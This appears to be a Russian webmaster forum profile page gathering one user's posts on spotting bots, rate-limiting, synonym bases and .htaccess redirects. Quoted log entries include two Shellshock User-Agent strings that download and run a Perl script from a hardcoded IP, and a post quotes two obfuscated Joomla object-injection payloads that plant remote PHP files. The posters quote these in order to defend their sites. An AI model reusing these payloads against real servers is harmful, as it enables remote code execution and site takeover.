Сережка

Сережка
Рейтинг
97
Регистрация
12.01.2007
Должность
Программист
Интересы
Программирование

Файл /mylog/no_robot.log

В него записываются не распознанные UserAgent.

Вот что есть на данный момент

Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)
auto-news-ua
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots mtmon01e.yandex.ru)
Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots mtmon01i.yandex.ru)
Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots mtmon01g.yandex.ru)
Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (compatible; pflink.ru/3.0)
Mozilla/5.0 (compatible; YandexBot/3.0)
Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots)
() { :;}; /bin/bash -c "cd /tmp;lwp-download -a http://66.194.27.49/sports;curl -O http://66.194.27.49/sports;wget http://66.194.27.49/sports;perl /tmp/sports*;perl sports;rm -rf /tmp/sports*"
GetintentCrawler getintent.com
Mozilla/4.0 (CMS Crawler: http://www.cmscrawler.com)
Mozilla/5.0 Firefox/35.0
Nutch/2.2.1 (page scorer; http://integralads.com/site-indexing-policy/)
facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Validator.nu/LV http://validator.w3.org/services
() { :;}; /bin/bash -c "cd /tmp;lwp-download -a http://172.245.218.130/log.zip;curl -O http://172.245.218.130/log.zip;wget http://172.245.218.130/log.zip;perl /tmp/log.zip*;perl log.zip;rm -rf /tmp/log.zip*"
Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)
Mozilla/5.0 (compatible; proximic; +http://www.proximic.com/info/spider.php)
Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share)



---------- Добавлено 22.01.2016 в 16:44 ----------

LEOnidUKG:
Но эти команды выполняются если только есть разрешение на выполнение system() функции, которая в 99% хостингах запрещена.

Значит кто-то все таки ищет как взломать сайт.

Смотрел еще на другом сайте, тоже есть похожее

the beast
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1095:"eval(chr(99).chr(111).chr(112).chr(121).chr(40).chr(39).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(120).chr(111).chr(108).chr(111).chr(100).chr(111).chr(118).chr(110).chr(101).chr(116).chr(46).chr(114).chr(117).chr(47).chr(105).chr(109).chr(97).chr(103).chr(101).chr(115).chr(46).chr(116).chr(120).chr(116).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(68).chr(79).chr(67).chr(85).chr(77).chr(69).chr(78).chr(84).chr(95).chr(82).chr(79).chr(79).chr(84).chr(39).chr(93).chr(46).chr(39).chr(47).chr(112).chr(108).chr(117).chr(103).chr(105).chr(110).chr(115).chr(47).chr(109).chr(115).chr(113).chr(108).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59).chr(32).chr(112).chr(114).chr(105).chr(110).chr(116).chr(40).chr(39).chr(113).chr(119).chr(101).chr(114).chr(116).chr(121).chr(108).chr(49).chr(50).chr(51).chr(52).chr(53).chr(54).chr(55).chr(56).chr(57).chr(117).chr(105).chr(111).chr(97).chr(115).chr(100).chr(102).chr(103).chr(104).chr(106).chr(107).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}рэээ

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1310:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2xvbC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJ4cFluSmhjbWxsY3k5emVYTjBaVzB1Y0dod0lpQTdEUW9rZEdWNGRDQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZNVEUxTGpFeU5DNHhNakl1TXpBdmZtWnBkbVZvYjNOMEwzZDNMblI0ZENjcE93MEtKRzl3Wlc0Z1BTQm1iM0JsYmlna1kyaGxZMnNzSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3Wlc0c0lDUjBaWGgwS1RzTkNtWmpiRzl6WlNna2IzQmxiaWs3RFFwcFppaG1hV3hsWDJWNGFYTjBjeWdrWTJobFkyc3BLWHNOQ2lBZ0lDQmxZMmh2SUNSamFHVmpheTRpUEM5aWNqNGlPdzBLZldWc2MyVWdEUW9nSUdWamFHOGdJbTV2ZENCbGVHbDBjeUk3RFFwbFkyaHZJQ0prYjI1bElDNWNiaUFpSURzTkNnMEtRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdEUW9OQ2cwS1B6ND0nKSk7DQpmY2xvc2UoJGZwKTs='));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}рэээ

Только то что я написал, стандартной CMS нет

dag:
чтот задумался, а почему нельзя на главной странице разместить гарантированно невидимую для живого человека ссылку на наш скрипт, который, выполняясь, автоматом будет банить IP бота. Все просто и эффективно. Да, какой то обгрызок сайта успеют спарсить, ну и пускай подавятся.

Думал и про этот способ, и не только на главной, а на всех. Но тогда можно и бота яндекса или гугла забанить :)

и еще вариант, при открытии страницы грузить скриптом скрытую страницу, если были открыты много страниц, а эта нет, значит бот, или пользователь с отключенным скриптом.

Andron_buton:
asteroid, самый простой способ - баните сети дата-центров, хотя бы самые популярные, людей там нет, зато ботов...

А где взять список IP дата-центров?

seo-Hunter:
авиалайнере,самолете
аварии,трагедии
автомобили,авто
востребован,нужен
завлек,привлек
загорается,зажигается
начальным,исходным
подолгу,длительно

вполне норм для пс имхо

Врач...врач..опять по 14 палате numnum бегает, только сегодня он лигвист 🤪

Лучше приводить в начальную форму, меньше база будет

а то раз встретил базу

автомобиль,машина

автомобиля,машины

автомобилем,машиной

...

и куда одинаковых слов..... это даже как-то не солидно

Dimoogle:
Уважаемые дорвейщики, собственно сабж. Если кто-то располагает актальной большой, а самое главное адекватной русской базой синонимов, пожалуйста поделитесь.

Пробовал искать, вариантов много, глаза разбегаются, но доверия особого нет. Хотелось бы что то надёжное. Заранее благодарен.

P.S Просьба не писать, что мол вот все и разбежались делиться с тобой.

Вариантов много, надо их собирать. причем не месяц-два... а постоянно добавлять что-то новое, платное и бесплатное...

NumNum:
Вот ты олень.

Я назвал тебя оленем. Какой здесь адекватный синоним? Животное, изюбрь?
Очевидно, что правильный синоним здесь совсем другой, потому что прагматика моего высказывания заключается в том, что ты недалекий человек, который не разбирается в лингвистике.

Соответственно, на лексическом уровне как правило невозможно подобрать адекватный синоним, нужно работать совсем на другом уровне, поэтому адекватной базы синонимов в том виде, в котором ты хочешь ее найти не существует в принципе.

Так заумно, что я аж ничего не понял 😂

asteroid:

Это алгоритм, а какими средствами пользовались для достижения? Скрипт? В БД IP с счётчиком?
По логам, думается, проще всего определить такие запросы.

Написал скрипт на php + mysql

zzzit:
Я недавно наткнулся на посетителя, который нагенерировал 500 POST запросов по одному ровно раз в 15 секунд, то есть 100% не руками. Пошел проверить контент и рефереры, а посетитель ничего плохого не делал, все запросы оказались полезные, просто ему так удобнее было. А я забанить его думал :(
Мораль: боты тоже люди и не всегда вредители.

А чистилки трафика 100% бы такое порезали.

Я тоже иногда зашел на листинг и давай в новой вкладке открывать интересные страницы. Открылось несколько, остальные писали подождите.... Было неудобно.

Тут палка с двух сторон.

Я ставил после некоторого числа открытий страниц в минуту по IP, просто выдавал страницу "Слишком много запросов", если в течении часа перевалили некоторую границу посещений с IP, блокировка, которая снималась нажатием на кнопку или через сутки опять открывал доступ. Вроде меньше парсили. Так что пробуйте.

acid777:
Да, отлично работает, только 1 нюанс, редиректит и главная, тоесть

site.ru/ на site.ru
а у мне главную со слешем нужно оставить, можно это как то предусмотреть в формуле?

Если Вы записали как у меня в коде, то будет редирект только со страниц, оканчивающихся на php/

Остальное не будет.

только если будет урл http://vash.com/papkaphp/

она тоже перекинется на http://vash.com/papkaphp 🍾

Иван34:
Аналогичная ситуация, поменял шаблон, многие урлы страниц теперь нужно менять на новое распределение по темам. Сижу в ручную вбиваю в .htaccess 301 редирект.

А что нельзя общим шаблоном 301 сделать?

Всего: 68